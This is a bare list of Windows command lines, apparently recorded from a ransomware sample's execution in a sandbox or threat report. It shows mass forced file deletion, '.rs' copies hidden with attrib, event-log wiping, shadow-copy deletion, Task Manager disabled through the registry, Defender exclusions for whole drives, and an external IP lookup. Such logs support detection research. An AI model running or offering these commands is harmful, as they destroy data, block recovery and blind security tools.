- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\TextConv\WksConv\Wkconv.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\System\ado\adojavas.inc""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Java\Java Update\jaureg.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\EQUATION\EQNEDT32.CNT""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\System\DirectDB.dll""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1040\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\InkDiv.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Adobe\Setup\{AC76BA86-7AD7-1033-7B44-AC0F074E4100}\abcpy.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\MSInfo\en-US\msinfo32.exe.mui""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Filters\msgfilt.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\MSEnv\PublicAssemblies\extensibility.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\en-US\InkObj.dll.mui""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\1.7\Microsoft.Ink.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\addins\FXSEXT.ecf""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1033\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\System\DirectDB.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1036\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\bfsvc.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0019-0409-1000-0000000FF1CE}-C\PublisherMUI.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\assembly\Desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi.rs""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%WINDIR%\assembly\Desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\AppCompat\Programs\RecentFileCache.bcf""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0018-0409-1000-0000000FF1CE}-C\PowerPointMUI.msi""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\boot.sdi""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%WINDIR%\assembly\Desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\HelpCfg\en_US\Reader_DC.helpcfg""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Help\hxds.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-001B-0409-1000-0000000FF1CE}-C\Setup.xml""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0011-0000-1000-0000000FF1CE}-C\Office32WW.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\MSInfo\msinfo32.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%WINDIR%\AppPatch\AcGenral.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Steam\steamservice.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\GRPHFLT\CGMIMP32.CFG""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\DW\DBGHELP.DLL""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ProgramFiles%\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\kms\KMS_VL_ALL_AIO.cmd""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%LOCALAPPDATA%\win32cryp.dll""
- '<SYSTEM32>\reg.exe' add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "vssadmin delete shadows /all /quiet"
- '<SYSTEM32>\cmd.exe' /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath <Drive name for removable media>:\"
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath E:\"
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath D:\"
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionExtension py"
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionPath C:\"
- '<SYSTEM32>\cmd.exe' /c "powershell -Command Add-MpPreference -Force -ExclusionExtension exe"
- '<SYSTEM32>\nslookup.exe' myip.opendns.com resolver1.opendns.com
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ProgramFiles(x86)%\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\EURO\MSOEURO.DLL""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ProgramFiles(x86)%\desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Services\verisign.bmp""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\ink\1.0\Microsoft.Ink.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\System\ado\adojavas.inc""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\EQUATION\1033\EEINTL.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1028\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Esl\AiodLite.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1031\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\DESIGNER\MSADDNDR.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles%\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ProgramFiles%\desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Services\verisign.bmp""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\ReadMe.htm""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\DAO\dao360.dll""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_GB\List.txt""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Stationery\Bears.htm""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Smart Tag\1033\MCABOUT.HTM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\en-US\resource.xml""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\AdobeHunspellPlugin.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Crypto\RSA\S-1-5-18\6d14e4b1d8ca773bab785d1be032546e_d4602615-9d50-4880-be41-678935e93eaa""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\folder.ico""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\Access.en-us\AccessMUI.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VGX\VGX.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\en-US\resource.xml""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\PROOF\MSLID.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.fr\Proof.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Mozilla\updates\D78BF5DD33499EC2\update-config.json""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.es\Proof.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Oracle\Java\javapath\java.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VC\msdia100.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\IdentityCRL\ppcrlconfig.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Mozilla\updates\E7CF176E110C211B\update-config.json""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\OFFICE14\1033\MSOINTL.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Smart Tag\FBIBLIO.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\branding.xml""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Stationery\Bears.htm""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\OFFICE14\1033\ACEINTL.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Source Engine\OSE.EXE""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VBA\VBA6\VBE6EXT.OLB""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\NTUSER.DAT""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTO\ActionsPane3.xsd""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\MF\Active.GRL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{050d4fc8-5d48-4b8f-8972-47c82c46020f}\vcredist_x64.exe""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\NTUSER.DAT.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_CA\List.txt""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\OFFICE14\ACECORE.DLL""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\NTUSER.DAT""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Sun\Java\Java Update\jaureglist.xml""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0117-0409-1000-0000000FF1CE}-C\AccessMUISet.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\42D5BEC7DDFBD49E76467529CBC2868987BF8460\packages\Patch\x64\Windows6.1-KB2999226-x64.msu""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proofing.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\MSInfo\msinfo32.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\MSClientDataMgr\MSCDM.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Portal\1033\PortalConnect.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1042\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0043-0409-1000-0000000FF1CE}-C\Office32MUI.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft Help\Hx.hxn""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\OutlkLR.cab""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ALLUSERSPROFILE%\Microsoft Help\Hx.hxn.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\ARM\1.0\AdobeARM.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1041\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\ink\Alphabet.xml""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0016-0409-1000-0000000FF1CE}-C\ExcelLR.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Portal\PortalConnectCore.dll""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ALLUSERSPROFILE%\Microsoft Help\Hx.hxn""
- '<SYSTEM32>\cmd.exe' /c "del /f "<Full path to file>""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1046\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\OFFICE14\Csi.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Mozilla\updates\308046B0AF4A39CB\update-config.json""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\Hx.HxC""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\InfLR.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\folder.ico""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Adobe\Products.txt""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\MSInfo\en-US\msinfo32.exe.mui""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ALLUSERSPROFILE%\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPC.DLL""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ALLUSERSPROFILE%\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\3082\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\2052\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\GrooveLR.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.en\Proof.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\OneNoteMUI.msi""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1049\hxdsui.dll""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\microsoft shared\MSInfo\en-US\msinfo32.exe.mui""
